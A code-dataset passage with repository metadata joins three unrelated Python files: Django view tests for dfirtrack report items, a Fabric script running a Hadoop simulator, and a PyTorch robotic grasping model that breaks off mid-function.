Headline.objects.get(headline_name='headline_1') notestatus_1 = Notestatus.objects.get(notestatus_name='notestatus_1') system_1 = System.objects.get(system_name='system_1') tag_id = Tag.objects.get(tag_name='tag_1').tag_id # create object reportitem_1 = Reportitem.objects.create( reportitem_note='reportitem_edit_post_test_1_documentation', headline=headline_1, notestatus=notestatus_1, system=system_1, reportitem_created_by_user_id=test_user, reportitem_modified_by_user_id=test_user, ) # create post data data_dict = { 'reportitem_note': 'reportitem_edit_post_test_2_documentation', 'headline': headline_1.headline_id, 'notestatus': notestatus_1.notestatus_id, 'system': system_1.system_id, 'tag': [ tag_id, ], } # get response response = self.client.post( '/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/?documentation', data_dict, ) # get object reportitem_id = Reportitem.objects.get( reportitem_note='reportitem_edit_post_test_2_documentation' ).reportitem_id # create url destination = urllib.parse.quote( f'/documentation/#reportitem_id_{str(reportitem_id)}', safe='#/' ) # compare self.assertRedirects( response, destination, status_code=302, target_status_code=200 ) def test_reportitem_edit_post_invalid_reload(self): """test edit view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get object reportitem_id = Reportitem.objects.get( reportitem_note='lorem ipsum' ).reportitem_id # create post data data_dict = {} # get response response = self.client.post( '/reportitem/' + str(reportitem_id) + '/edit/', data_dict ) # compare self.assertEqual(response.status_code, 200) def test_reportitem_edit_post_invalid_template(self): """test edit view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get object reportitem_id = Reportitem.objects.get( reportitem_note='lorem ipsum' ).reportitem_id # create post data data_dict = {} # get response response = self.client.post( '/reportitem/' + str(reportitem_id) + '/edit/', data_dict ) # compare self.assertTemplateUsed( response, 'dfirtrack_main/reportitem/reportitem_generic_form.html' ) def test_reportitem_edit_post_system_case_assigned_message(self): """test edit view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get user test_user = User.objects.get(username='testuser_reportitem') # get objects headline_1 = Headline.objects.get(headline_name='headline_1') notestatus_1 = Notestatus.objects.get(notestatus_name='notestatus_1') system_1 = System.objects.get(system_name='system_1') case_1 = Case.objects.get(case_name='case_1') # create object reportitem_1 = Reportitem.objects.create( reportitem_note='reportitem_edit_post_case_test_1', headline=headline_1, notestatus=notestatus_1, system=system_1, reportitem_created_by_user_id=test_user, reportitem_modified_by_user_id=test_user, ) # create post data data_dict = { 'reportitem_note': 'reportitem_edit_post_case_test_2', 'headline': headline_1.headline_id, 'notestatus': notestatus_1.notestatus_id, 'system': system_1.system_id, 'case': [ case_1.case_id, ], } # get response response = self.client.post( '/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/', data_dict, follow=True, ) # create url destination = urllib.parse.quote( '/system/' + str(system_1.system_id) + '/', safe='/' ) # compare self.assertRedirects( response, destination, status_code=302, target_status_code=200 ) self.assertContains( response, f"System '{system_1.system_name}' was assigned to case '{case_1.case_name}' due to reportitem assignment.", )

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0

null

0

1

0

7

49977fee21bdf5dd871ab7ac9edce6b6155cb4d7

1,441

py

Python

scripts/fabfile/simulator.py

qinzhewudao/amoeba

dbb6d4248078fd4418cf5048056c7b79aaf4d5f8

[ "MIT" ]

15

2016-07-14T07:41:31.000Z

2021-08-07T03:19:42.000Z

scripts/fabfile/simulator.py

qinzhewudao/amoeba

dbb6d4248078fd4418cf5048056c7b79aaf4d5f8

[ "MIT" ]

18

2015-11-11T23:27:20.000Z

2016-03-11T00:56:38.000Z

scripts/fabfile/simulator.py

mitdbg/mdindex

dbb6d4248078fd4418cf5048056c7b79aaf4d5f8

[ "MIT" ]

2

2017-06-06T10:33:54.000Z

2017-12-23T07:56:40.000Z

from fabric.api import run,put,cd,parallel,roles,serial,local,runs_once from env_setup import * @roles('master') def simulator_adapt(c='4'): global conf with cd(env.conf['HADOOPBIN']): cmd = './hadoop jar $JAR perf.tools.RunSimulator' + \ ' --conf $CONF' + \ ' --tableName $TABLENAME' + \ ' --mode 1' + \ ' --c %s' % c + \ ' --simName sim' + \ ' --queriesFile ~/queries.log' + \ ' > ~/logs/sim_adapt.log' cmd = fill_cmd(cmd) run(cmd) @roles('master') def simulator_adapt_formatted(c='4'): global conf with cd(env.conf['HADOOPBIN']): cmd = './hadoop jar $JAR perf.tools.RunSimulator' + \ ' --conf $CONF' + \ ' --tableName $TABLENAME' + \ ' --mode 3' + \ ' --c %s' % c + \ ' --simName sim' + \ ' --queriesFile ~/queries.log' + \ ' > ~/logs/sim_adapt.log' cmd = fill_cmd(cmd) run(cmd) @roles('master') def simulator_noadapt(): global conf with cd(env.conf['HADOOPBIN']): cmd = './hadoop jar $JAR perf.tools.RunSimulator' + \ ' --conf $CONF' + \ ' --tableName $TABLENAME' + \ ' --mode 2' + \ ' --simName sim' + \ ' --queriesFile ~/queries.log' + \ ' > ~/logs/sim_noadapt.log' cmd = fill_cmd(cmd) run(cmd)

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false

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0.116279

0

null

0

1

0

1

0

null

0

7

77295dd4bf1ecf683ae1ba0d2f105d700b594f17

40,472

py

Python

models.py

esteng/guiding-multi-step

3f0db0ba70b5851cc83878f4ed48cf82342a2ddf

[ "BSD-2-Clause" ]

null

models.py

esteng/guiding-multi-step

3f0db0ba70b5851cc83878f4ed48cf82342a2ddf

[ "BSD-2-Clause" ]

null

models.py

esteng/guiding-multi-step

3f0db0ba70b5851cc83878f4ed48cf82342a2ddf

[ "BSD-2-Clause" ]

null

#!/usr/bin/env python from collections import OrderedDict import numpy as np from scipy import ndimage import torch import torch.nn as nn import torch.nn.functional as F from torch.autograd import Variable import torchvision import matplotlib.pyplot as plt import time try: import efficientnet_pytorch from efficientnet_pytorch import EfficientNet except ImportError: print('efficientnet_pytorch is not available, using densenet. ' 'Try installing https://github.com/ahundt/EfficientNet-PyTorch for all features (recommended): ' ' pip3 install --user --upgrade git+https://github.com/ahundt/EfficientNet-PyTorch.git' 'A version of EfficientNets without dilation can be installed with the command (not recommended):' ' pip3 install efficientnet-pytorch --user --upgrade' 'See https://github.com/lukemelas/EfficientNet-PyTorch for details') efficientnet_pytorch = None def tile_vector_as_image_channels_torch(vector_op, image_shape): """ Takes a vector of length n and an image shape BCHW, and repeat the vector as channels at each pixel. Code source: https://github.com/ahundt/costar_dataset/blob/master/costar_dataset/block_stacking_reader_torch.py # Params vector_op: A tensor vector to tile. image_shape: A list of integers [width, height] with the desired dimensions. """ # input vector shape ivs = vector_op.shape # print('image_shape: ' + str(image_shape)) # reshape the vector into a single pixel vector_op = vector_op.reshape([ivs[0], ivs[1], 1, 1]) # print('vector_op pre-repeat shape:' + str(vector_op.shape)) # repeat the vector at every pixel according to the specified image shape vector_op = vector_op.expand([ivs[0], ivs[1], image_shape[2], image_shape[3]]) # print('vector_op post-repeat shape:' + str(vector_op.shape)) # print('vector_op first channel: ' + str(vector_op[0,:,0,0])) return vector_op def trunk_net(name='', fc_channels=2048, second_fc_channels=None, goal_condition_len=0, channels_out=3): first_fc = fc_channels + goal_condition_len # original behavior of second conv layer # second_fc = 64 # new behavior of second conv layer if second_fc_channels is None: second_fc = fc_channels + goal_condition_len else: second_fc = second_fc_channels + goal_condition_len return nn.Sequential(OrderedDict([ (name + '-norm0', nn.BatchNorm2d(first_fc)), (name + '-relu0', nn.ReLU(inplace=True)), (name + '-conv0', nn.Conv2d(first_fc, second_fc, kernel_size=1, stride=1, bias=False)), (name + '-norm1', nn.BatchNorm2d(second_fc)), (name + '-relu1', nn.ReLU(inplace=True)), (name + '-conv1', nn.Conv2d(second_fc, channels_out, kernel_size=1, stride=1, bias=False)) # ('push-upsample2', nn.Upsample(scale_factor=4, mode='bilinear')) ])) def vector_block(name='', channels_in=4, fc_channels=2048, channels_out=2048): return nn.Sequential(OrderedDict([ (name + '-vectorblock-lin0', nn.Linear(channels_in, fc_channels, bias=False)), (name + '-vectorblock-relu0', nn.ReLU(inplace=True)), # TODO(ahundt) re-enable batchnorm https://github.com/pytorch/pytorch/issues/4534 # (name + '-vectorblock-norm0', nn.BatchNorm1d(fc_channels)), (name + '-vectorblock-lin1', nn.Linear(fc_channels, channels_out, bias=False)), (name + '-vectorblock-relu1', nn.ReLU(inplace=True)), # TODO(ahundt) re-enable batchnorm https://github.com/pytorch/pytorch/issues/4534 # (name + '-vectorblock-norm1', nn.BatchNorm1d(channels_out)) ])) def init_trunk_weights(model, branch=None): """ Initializes the trunk network weight layer weights. # Arguments branch: string indicating the specific branch to initialize. Default of None will initialize 'push-', 'grasp-' and 'place-'. """ # Initialize network weights for m in model.named_modules(): #if 'push-' in m[0] or 'grasp-' in m[0]: if((branch is None and 'push-' in m[0] or 'grasp-' in m[0] or 'place-' in m[0]) or (branch is not None and branch in m[0])): if isinstance(m[1], nn.Conv2d): nn.init.kaiming_normal_(m[1].weight.data) elif isinstance(m[1], nn.BatchNorm2d): m[1].weight.data.fill_(1) m[1].bias.data.zero_() def rot_to_affine_mat(rotate_theta, batch_size=1): affine_mat_after = np.asarray([[np.cos(rotate_theta), np.sin(rotate_theta), 0],[-np.sin(rotate_theta), np.cos(rotate_theta), 0]]) affine_mat_after = np.tile(affine_mat_after[np.newaxis], batch_size) affine_mat_after.shape = (2,3,batch_size) affine_mat_after = torch.from_numpy(affine_mat_after).permute(2,0,1).float() return affine_mat_after class PixelNet(nn.Module): def __init__(self, use_cuda=True, goal_condition_len=0, place=False, network='efficientnet', use_vector_block=False, pretrained=True, align_corners=False, num_dilation=1, num_rotations=16): # , snapshot=None super(PixelNet, self).__init__() self.use_cuda = use_cuda self.place = place self.use_vector_block = use_vector_block self.upsample_scale = 16 self.num_rotations = num_rotations self.network = network self.align_corners = align_corners if self.use_vector_block: channels_out = 2048 self.push_vector_block = vector_block('push', goal_condition_len, channels_out=channels_out) self.grasp_vector_block = vector_block('grasp', goal_condition_len, channels_out=channels_out) if place: self.place_vector_block = vector_block('place', goal_condition_len, channels_out=channels_out) # TODO(ahundt) this variable overwrite is confusing, write the code better goal_condition_len = channels_out if network == 'densenet' or efficientnet_pytorch is None: # Initialize network trunks with DenseNet pre-trained on ImageNet self.push_color_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained) self.push_depth_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained) self.grasp_color_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained) self.grasp_depth_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained) # placenet tests block stacking if self.place: self.place_color_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained) self.place_depth_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained) fc_channels = 2048 second_fc_channels = 64 else: # how many dilations to do at the end of the network # num_dilation = 1 if num_dilation == 0: if pretrained: self.image_trunk = EfficientNet.from_pretrained('efficientnet-b0') self.push_trunk = EfficientNet.from_pretrained('efficientnet-b0') else: self.image_trunk = EfficientNet.from_name('efficientnet-b0') self.push_trunk = EfficientNet.from_name('efficientnet-b0') else: # Initialize network trunks with DenseNet pre-trained on ImageNet try: if pretrained: self.image_trunk = EfficientNet.from_pretrained('efficientnet-b0', num_dilation=num_dilation) self.push_trunk = EfficientNet.from_pretrained('efficientnet-b0', num_dilation=num_dilation) else: self.image_trunk = EfficientNet.from_name('efficientnet-b0', num_dilation=num_dilation) self.push_trunk = EfficientNet.from_name('efficientnet-b0', num_dilation=num_dilation) print('DILATED EfficientNet models created, num_dilation: ' + str(num_dilation)) except: print('WARNING: Could not dilate, try installing https://github.com/ahundt/EfficientNet-PyTorch ' 'instead of the original efficientnet pytorch') num_dilation = 0 if pretrained: self.image_trunk = EfficientNet.from_pretrained('efficientnet-b0') self.push_trunk = EfficientNet.from_pretrained('efficientnet-b0') else: self.image_trunk = EfficientNet.from_name('efficientnet-b0') self.push_trunk = EfficientNet.from_name('efficientnet-b0') # how much will the dilations affect the upsample step self.upsample_scale = self.upsample_scale / 2 ** num_dilation fc_channels = 1280 * 2 # second_fc_channels = None second_fc_channels = 64 # Construct network branches for pushing and grasping self.pushnet = trunk_net('push', fc_channels, second_fc_channels, goal_condition_len, 1) self.graspnet = trunk_net('grasp', fc_channels, second_fc_channels, goal_condition_len, 1) # placenet tests block stacking if place: self.placenet = trunk_net('place', fc_channels, second_fc_channels, goal_condition_len, 1) init_trunk_weights(self) if self.use_cuda: self.cuda() def forward(self, input_color_data, input_depth_data, is_volatile=False, specific_rotation=-1, goal_condition=None, keep_action_feat=False, use_demo=False): if goal_condition is not None: # TODO(ahundt) is there a better place for this? Is doing this before is_volatile sloppy? if self.use_cuda: goal_condition = torch.tensor(goal_condition).float().cuda() else: goal_condition = torch.tensor(goal_condition).float() tiled_goal_condition = None if is_volatile: output_prob = [] interm_feat = [] output_prob_feat = [] with torch.no_grad(): # if we want to keep action features, strip last layer of push/grasp/placenet if keep_action_feat: pushnet = self.pushnet[:-1] graspnet = self.graspnet[:-1] if self.place: placenet = self.placenet[:-1] else: pushnet = self.pushnet graspnet = self.graspnet if self.place: placenet = self.placenet # store the final layer of each network final_layer_push = self.pushnet[-1] final_layer_grasp = self.graspnet[-1] if self.place: final_layer_place = self.placenet[-1] # Apply rotations to images for rotate_idx in range(self.num_rotations): rotate_theta = np.radians(rotate_idx*(360/self.num_rotations)) # Compute sample grid for rotation BEFORE neural network interm_push_feat, interm_grasp_feat, interm_place_feat, tiled_goal_condition = self.layers_forward(rotate_theta, input_color_data, input_depth_data, goal_condition, tiled_goal_condition) if self.place: interm_feat.append([interm_push_feat, interm_grasp_feat, interm_place_feat]) else: interm_feat.append([interm_push_feat, interm_grasp_feat]) # Compute sample grid for rotation AFTER branches affine_mat_after = rot_to_affine_mat(rotate_theta) if self.use_cuda: flow_grid_after = F.affine_grid(Variable(affine_mat_after, requires_grad=False).cuda(), interm_push_feat.data.size(), align_corners=self.align_corners) else: flow_grid_after = F.affine_grid(Variable(affine_mat_after, requires_grad=False), interm_push_feat.data.size(), align_corners=self.align_corners) # this is the case where we need to return both the action embedding and softmax-ed action mask if keep_action_feat and not use_demo: push_action_feat = pushnet(interm_push_feat) grasp_action_feat = graspnet(interm_grasp_feat) if self.place: place_action_feat = placenet(interm_place_feat) # append upsampled mask to output_prob_feat output_prob_feat.append([nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(push_action_feat, flow_grid_after, mode='nearest', align_corners=self.align_corners)), nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(grasp_action_feat, flow_grid_after, mode='nearest', align_corners=self.align_corners)), nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(place_action_feat, flow_grid_after, mode='nearest', align_corners=self.align_corners))]) # append softmax-ed mask to output_prob output_prob.append([nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(final_layer_push(push_action_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners)), nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(final_layer_grasp(grasp_action_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners)), nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(final_layer_place(place_action_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners))]) else: # append upsampled mask to output_prob_feat output_prob_feat.append([nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(push_action_feat, flow_grid_after, mode='nearest', align_corners=self.align_corners)), nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(grasp_action_feat, flow_grid_after, mode='nearest', align_corners=self.align_corners))]) # upsample output_prob output_prob.append([nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(final_layer_push(push_action_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners)), nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(final_layer_grasp(grasp_action_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners))]) # this is the case where we are either not keeping action features or not keeping final action mask else: # Forward pass through branches, undo rotation on output predictions, upsample results push_action_feat = pushnet(interm_push_feat) grasp_action_feat = graspnet(interm_grasp_feat) # placenet tests block stacking if self.place: place_action_feat = placenet(interm_place_feat) output_prob.append([nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(push_action_feat, flow_grid_after, mode='nearest', align_corners=self.align_corners)), nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(grasp_action_feat, flow_grid_after, mode='nearest', align_corners=self.align_corners)), nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(place_action_feat, flow_grid_after, mode='nearest', align_corners=self.align_corners))]) else: output_prob.append([nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(push_action_feat, flow_grid_after, mode='nearest', align_corners=self.align_corners)), nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(grasp_action_feat, flow_grid_after, mode='nearest', align_corners=self.align_corners))]) return output_prob, interm_feat, output_prob_feat else: output_prob = [] interm_feat = [] output_prob_feat = [] # Apply rotations to intermediate features # for rotate_idx in range(self.num_rotations): rotate_idx = specific_rotation rotate_theta = np.radians(rotate_idx*(360/self.num_rotations)) # Compute sample grid for rotation BEFORE branches interm_push_feat, interm_grasp_feat, interm_place_feat, tiled_goal_condition = self.layers_forward(rotate_theta, input_color_data, input_depth_data, goal_condition, tiled_goal_condition) if self.place: interm_feat.append([interm_push_feat, interm_grasp_feat, interm_place_feat]) else: interm_feat.append([interm_push_feat, interm_grasp_feat]) # Compute sample grid for rotation AFTER branches affine_mat_after = rot_to_affine_mat(rotate_theta, batch_size=input_color_data.size(0)) if self.use_cuda: flow_grid_after = F.affine_grid(Variable(affine_mat_after, requires_grad=False).cuda(), interm_push_feat.data.size(), align_corners=self.align_corners) else: flow_grid_after = F.affine_grid(Variable(affine_mat_after, requires_grad=False), interm_push_feat.data.size(), align_corners=self.align_corners) # print('goal_condition: ' + str(goal_condition)) # Forward pass through branches, undo rotation on output predictions, upsample results # placenet tests block stacking if self.place: output_prob.append([nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.pushnet(interm_push_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners)), nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.graspnet(interm_grasp_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners)), nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.placenet(interm_place_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners))]) else: output_prob.append([nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.pushnet(interm_push_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners)), nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.graspnet(interm_grasp_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners))]) # print('output prob shapes: ' + str(self.output_prob[0][0].shape)) return output_prob, interm_feat, output_prob_feat def layers_forward(self, rotate_theta, input_color_data, input_depth_data, goal_condition, tiled_goal_condition=None, requires_grad=True): """ Reduces the repetitive forward pass code across multiple model classes. See PixelNet forward() and responsive_net forward(). """ interm_place_feat = None # Compute sample grid for rotation BEFORE neural network affine_mat_before = rot_to_affine_mat(-rotate_theta, batch_size=input_color_data.size(0)) if self.use_cuda: flow_grid_before = F.affine_grid(Variable(affine_mat_before, requires_grad=requires_grad).cuda(), input_color_data.size(), align_corners=self.align_corners) else: flow_grid_before = F.affine_grid(Variable(affine_mat_before, requires_grad=requires_grad), input_color_data.size(), align_corners=self.align_corners) # Rotate images clockwise if self.use_cuda: rotate_color = F.grid_sample(Variable(input_color_data).cuda(), flow_grid_before, mode='nearest', align_corners=self.align_corners) rotate_depth = F.grid_sample(Variable(input_depth_data).cuda(), flow_grid_before, mode='nearest', align_corners=self.align_corners) else: rotate_color = F.grid_sample(Variable(input_color_data), flow_grid_before, mode='nearest', align_corners=self.align_corners) rotate_depth = F.grid_sample(Variable(input_depth_data), flow_grid_before, mode='nearest', align_corners=self.align_corners) # Compute intermediate features if efficientnet_pytorch is None or self.network == 'densenet': # densenet interm_push_color_feat = self.push_color_trunk.features(rotate_color) interm_push_depth_feat = self.push_depth_trunk.features(rotate_depth) interm_grasp_color_feat = self.grasp_color_trunk.features(rotate_color) interm_grasp_depth_feat = self.grasp_depth_trunk.features(rotate_depth) # placenet tests block stacking if self.place: interm_place_color_feat = self.place_color_trunk.features(rotate_color) interm_place_depth_feat = self.place_depth_trunk.features(rotate_depth) else: # efficientnet interm_push_color_feat = self.push_trunk.extract_features(rotate_color) interm_push_depth_feat = self.push_trunk.extract_features(rotate_depth) interm_grasp_color_feat = self.image_trunk.extract_features(rotate_color) interm_grasp_depth_feat = self.image_trunk.extract_features(rotate_depth) # interm_grasp_color_feat = interm_push_color_feat # interm_grasp_depth_feat = interm_push_depth_feat # placenet tests block stacking if self.place: interm_place_color_feat = interm_grasp_color_feat interm_place_depth_feat = interm_grasp_depth_feat # Combine features, including the goal condition if appropriate if goal_condition is None: interm_push_feat = torch.cat((interm_push_color_feat, interm_push_depth_feat), dim=1) interm_grasp_feat = torch.cat((interm_grasp_color_feat, interm_grasp_depth_feat), dim=1) if self.place: interm_place_feat = torch.cat((interm_place_color_feat, interm_place_depth_feat), dim=1) else: if self.use_vector_block: push_goal_vec = tile_vector_as_image_channels_torch(self.push_vector_block(goal_condition), interm_push_color_feat.shape) grasp_goal_vec = tile_vector_as_image_channels_torch(self.grasp_vector_block(goal_condition), interm_push_color_feat.shape) interm_push_feat = torch.cat((interm_push_color_feat, interm_push_depth_feat, push_goal_vec), dim=1) interm_grasp_feat = torch.cat((interm_grasp_color_feat, interm_grasp_depth_feat, grasp_goal_vec), dim=1) if self.place: place_goal_vec = tile_vector_as_image_channels_torch(self.place_vector_block(goal_condition), interm_push_color_feat.shape) interm_place_feat = torch.cat((interm_place_color_feat, interm_place_depth_feat, place_goal_vec), dim=1) else: if tiled_goal_condition is None: # This is part of a big for loop, but tiling only needs to be done once. # Sorry that this code is a bit confusing, but we need the shape of the output of interm_*_color_feat tiled_goal_condition = tile_vector_as_image_channels_torch(goal_condition, interm_push_color_feat.shape) interm_push_feat = torch.cat((interm_push_color_feat, interm_push_depth_feat, tiled_goal_condition), dim=1) interm_grasp_feat = torch.cat((interm_grasp_color_feat, interm_grasp_depth_feat, tiled_goal_condition), dim=1) if self.place: interm_place_feat = torch.cat((interm_place_color_feat, interm_place_depth_feat, tiled_goal_condition), dim=1) return interm_push_feat, interm_grasp_feat, interm_place_feat, tiled_goal_condition def transfer_grasp_to_place(self): if self.network == 'densenet' or efficientnet_pytorch is None: # placenet tests block stacking if self.place: self.place_color_trunk.load_state_dict(self.grasp_color_trunk.state_dict()) self.place_depth_trunk.load_state_dict(self.grasp_depth_trunk.state_dict()) fc_channels = 2048 second_fc_channels = 64 # The push and place efficientnet model is shared, so we don't need to transfer that. if self.place: # we rename the dictionary names of the grasp weights to place, then load them into the placenet self.placenet.load_state_dict(dict(map(lambda t: (t[0].replace('grasp', 'place'), t[1]), self.graspnet.state_dict().items()))) class reinforcement_net(nn.Module): def __init__(self, use_cuda=True, goal_condition_len=0, place=False, network='densenet', use_vector_block=False, pretrained=True, align_corners=False, num_dilation=1): # , snapshot=None super(reinforcement_net, self).__init__() # super(PixelNet, self).__init__() self.use_cuda = use_cuda self.place = place self.use_vector_block = use_vector_block self.upsample_scale = 16 self.num_rotations = 16 self.network = network self.align_corners = align_corners if self.use_vector_block: channels_out = 2048 self.push_vector_block = vector_block('push', goal_condition_len, channels_out=channels_out) self.grasp_vector_block = vector_block('grasp', goal_condition_len, channels_out=channels_out) if place: self.place_vector_block = vector_block('place', goal_condition_len, channels_out=channels_out) # TODO(ahundt) this variable overwrite is confusing, write the code better goal_condition_len = channels_out if network == 'densenet' or efficientnet_pytorch is None: # Initialize network trunks with DenseNet pre-trained on ImageNet self.push_color_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained) self.push_depth_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained) self.grasp_color_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained) self.grasp_depth_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained) # placenet tests block stacking if self.place: self.place_color_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained) self.place_depth_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained) fc_channels = 2048 second_fc_channels = 64 else: # how many dilations to do at the end of the network # num_dilation = 1 if num_dilation == 0: if pretrained: self.image_trunk = EfficientNet.from_pretrained('efficientnet-b0') self.push_trunk = EfficientNet.from_pretrained('efficientnet-b0') else: self.image_trunk = EfficientNet.from_name('efficientnet-b0') self.push_trunk = EfficientNet.from_name('efficientnet-b0') else: # Initialize network trunks with DenseNet pre-trained on ImageNet try: if pretrained: self.image_trunk = EfficientNet.from_pretrained('efficientnet-b0', num_dilation=num_dilation) self.push_trunk = EfficientNet.from_pretrained('efficientnet-b0', num_dilation=num_dilation) else: self.image_trunk = EfficientNet.from_name('efficientnet-b0', num_dilation=num_dilation) self.push_trunk = EfficientNet.from_name('efficientnet-b0', num_dilation=num_dilation) print('DILATED EfficientNet models created, num_dilation: ' + str(num_dilation)) except: print('WARNING: Could not dilate, try installing https://github.com/ahundt/EfficientNet-PyTorch ' 'instead of the original efficientnet pytorch') num_dilation = 0 if pretrained: self.image_trunk = EfficientNet.from_pretrained('efficientnet-b0') self.push_trunk = EfficientNet.from_pretrained('efficientnet-b0') else: self.image_trunk = EfficientNet.from_name('efficientnet-b0') self.push_trunk = EfficientNet.from_name('efficientnet-b0') # how much will the dilations affect the upsample step self.upsample_scale = self.upsample_scale / 2 ** num_dilation fc_channels = 1280 * 2 # second_fc_channels = None second_fc_channels = 64 # Construct network branches for pushing and grasping self.pushnet = trunk_net('push', fc_channels, second_fc_channels, goal_condition_len, 1) self.graspnet = trunk_net('grasp', fc_channels, second_fc_channels, goal_condition_len, 1) # placenet tests block stacking if place: self.placenet = trunk_net('place', fc_channels, second_fc_channels, goal_condition_len, 1) init_trunk_weights(self) if self.use_cuda: self.cuda() def forward(self, input_color_data, input_depth_data, is_volatile=False, specific_rotation=-1, goal_condition=None): if is_volatile: with torch.no_grad(): output_prob = [] interm_feat = [] # Apply rotations to images for rotate_idx in range(self.num_rotations): rotate_theta = np.radians(rotate_idx*(360/self.num_rotations)) # Compute sample grid for rotation BEFORE neural network affine_mat_before = rot_to_affine_mat(-rotate_theta, batch_size=input_color_data.size(0)) if self.use_cuda: flow_grid_before = F.affine_grid(Variable(affine_mat_before, requires_grad=False).cuda(), input_color_data.size()) else: flow_grid_before = F.affine_grid(Variable(affine_mat_before, requires_grad=False), input_color_data.size()) # Rotate images clockwise if self.use_cuda: rotate_color = F.grid_sample(Variable(input_color_data, volatile=True).cuda(), flow_grid_before, mode='nearest') rotate_depth = F.grid_sample(Variable(input_depth_data, volatile=True).cuda(), flow_grid_before, mode='nearest') else: rotate_color = F.grid_sample(Variable(input_color_data, volatile=True), flow_grid_before, mode='nearest') rotate_depth = F.grid_sample(Variable(input_depth_data, volatile=True), flow_grid_before, mode='nearest') # Compute intermediate features interm_push_color_feat = self.push_color_trunk.features(rotate_color) interm_push_depth_feat = self.push_depth_trunk.features(rotate_depth) interm_push_feat = torch.cat((interm_push_color_feat, interm_push_depth_feat), dim=1) interm_grasp_color_feat = self.grasp_color_trunk.features(rotate_color) interm_grasp_depth_feat = self.grasp_depth_trunk.features(rotate_depth) interm_grasp_feat = torch.cat((interm_grasp_color_feat, interm_grasp_depth_feat), dim=1) part_interm_feat = [interm_push_feat, interm_grasp_feat] if self.place: interm_place_color_feat = self.place_color_trunk.features(rotate_color) interm_place_depth_feat = self.place_depth_trunk.features(rotate_depth) interm_place_feat = torch.cat((interm_place_color_feat, interm_place_depth_feat), dim=1) part_interm_feat += [interm_place_feat] interm_feat.append(part_interm_feat) # Compute sample grid for rotation AFTER branches affine_mat_after = rot_to_affine_mat(rotate_theta, batch_size=input_color_data.size(0)) if self.use_cuda: flow_grid_after = F.affine_grid(Variable(affine_mat_after, requires_grad=False).cuda(), interm_push_feat.data.size()) else: flow_grid_after = F.affine_grid(Variable(affine_mat_after, requires_grad=False), interm_push_feat.data.size()) # Forward pass through branches, undo rotation on output predictions, upsample results part_output_prob = [nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.pushnet(interm_push_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners)), nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.graspnet(interm_grasp_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners))] if self.place: part_output_prob += [nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.placenet(interm_place_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners))] # Forward pass through branches, undo rotation on output predictions, upsample results output_prob.append(part_output_prob) return output_prob, interm_feat else: output_prob = [] interm_feat = [] # Apply rotations to intermediate features # for rotate_idx in range(self.num_rotations): rotate_idx = specific_rotation rotate_theta = 